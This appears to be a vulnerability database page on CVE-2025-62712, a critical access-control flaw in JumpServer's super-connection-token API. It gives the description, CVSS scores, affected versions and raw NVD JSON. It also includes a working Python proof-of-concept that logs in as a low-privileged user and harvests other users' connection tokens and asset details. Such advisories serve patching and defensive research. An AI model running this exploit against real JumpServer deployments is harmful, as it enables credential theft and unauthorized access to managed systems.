Security Vulnerability Report
中文
CVE-2025-62712 CVSS 9.6 CRITICAL

CVE-2025-62712

Published: 2025-10-30 16:15:37
Last Modified: 2025-11-12 15:26:13

Description

JumpServer is an open source bastion host and an operation and maintenance security audit system. In JumpServer versions prior to v3.10.20-lts and v4.10.11-lts, an authenticated, non-privileged user can retrieve connection tokens belonging to other users via the super-connection API endpoint (/api/v1/authentication/super-connection-token/). When accessed from a web browser, this endpoint returns connection tokens created by all users instead of restricting results to tokens owned by or authorized for the requester. An attacker who obtains these tokens can use them to initiate connections to managed assets on behalf of the original token owners, resulting in unauthorized access and privilege escalation across sensitive systems. This vulnerability is fixed in v3.10.20-lts and v4.10.11-lts.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:* - VULNERABLE
JumpServer < v3.10.20-lts
JumpServer < v4.10.11-lts

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-62712 PoC - JumpServer Super Connection Token Unauthorized Access # Target: JumpServer < v3.10.20-lts, < v4.10.11-lts TARGET_URL = "https://target-jumpserver.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" def exploit_cve_2025_62712(): """ This PoC demonstrates the unauthorized token access vulnerability. Steps: 1. Authenticate with JumpServer to obtain session token 2. Request super-connection-token API without proper authorization 3. Extract tokens belonging to other users 4. Use stolen tokens to access managed assets """ session = requests.Session() # Step 1: Login to obtain authentication login_url = f"{TARGET_URL}/api/v1/authentication/auth/" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data, verify=False) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return None print("[+] Successfully authenticated") # Step 2: Request super-connection-token API (vulnerable endpoint) token_url = f"{TARGET_URL}/api/v1/authentication/super-connection-token/" response = session.get(token_url, verify=False) if response.status_code == 200: tokens = response.json() print(f"[+] Retrieved {len(tokens)} connection tokens") # Step 3: Extract tokens belonging to other users for token_data in tokens: if token_data.get('user') != USERNAME: print(f"[*] Found token for user: {token_data.get('user')}") print(f" Token: {token_data.get('token')}") print(f" Asset: {token_data.get('asset')}") return tokens else: print(f"[-] Failed to retrieve tokens: {response.status_code}") return None if __name__ == "__main__": exploit_cve_2025_62712()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62712", "sourceIdentifier": "[email protected]", "published": "2025-10-30T16:15:36.620", "lastModified": "2025-11-12T15:26:13.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "JumpServer is an open source bastion host and an operation and maintenance security audit system. In JumpServer versions prior to v3.10.20-lts and v4.10.11-lts, an authenticated, non-privileged user can retrieve connection tokens belonging to other users via the super-connection API endpoint (/api/v1/authentication/super-connection-token/). When accessed from a web browser, this endpoint returns connection tokens created by all users instead of restricting results to tokens owned by or authorized for the requester. An attacker who obtains these tokens can use them to initiate connections to managed assets on behalf of the original token owners, resulting in unauthorized access and privilege escalation across sensitive systems. This vulnerability is fixed in v3.10.20-lts and v4.10.11-lts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.10.20", "matchCriteriaId": "9BF682B7-1BC0-4375-A39C-8DAF900EDC1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.10.11", "matchCriteriaId": "B011F637-36C3-4582-8113-B7E67A0BCAD7"}]}]}], "references": [{"url": "https://github.com/jumpserver/jumpserver/commit/453ad331eec9d9667a38de735d6612608e558491", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/jumpserver/jumpserver/security/advisories/GHSA-6ghx-6vpv-3wg7", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}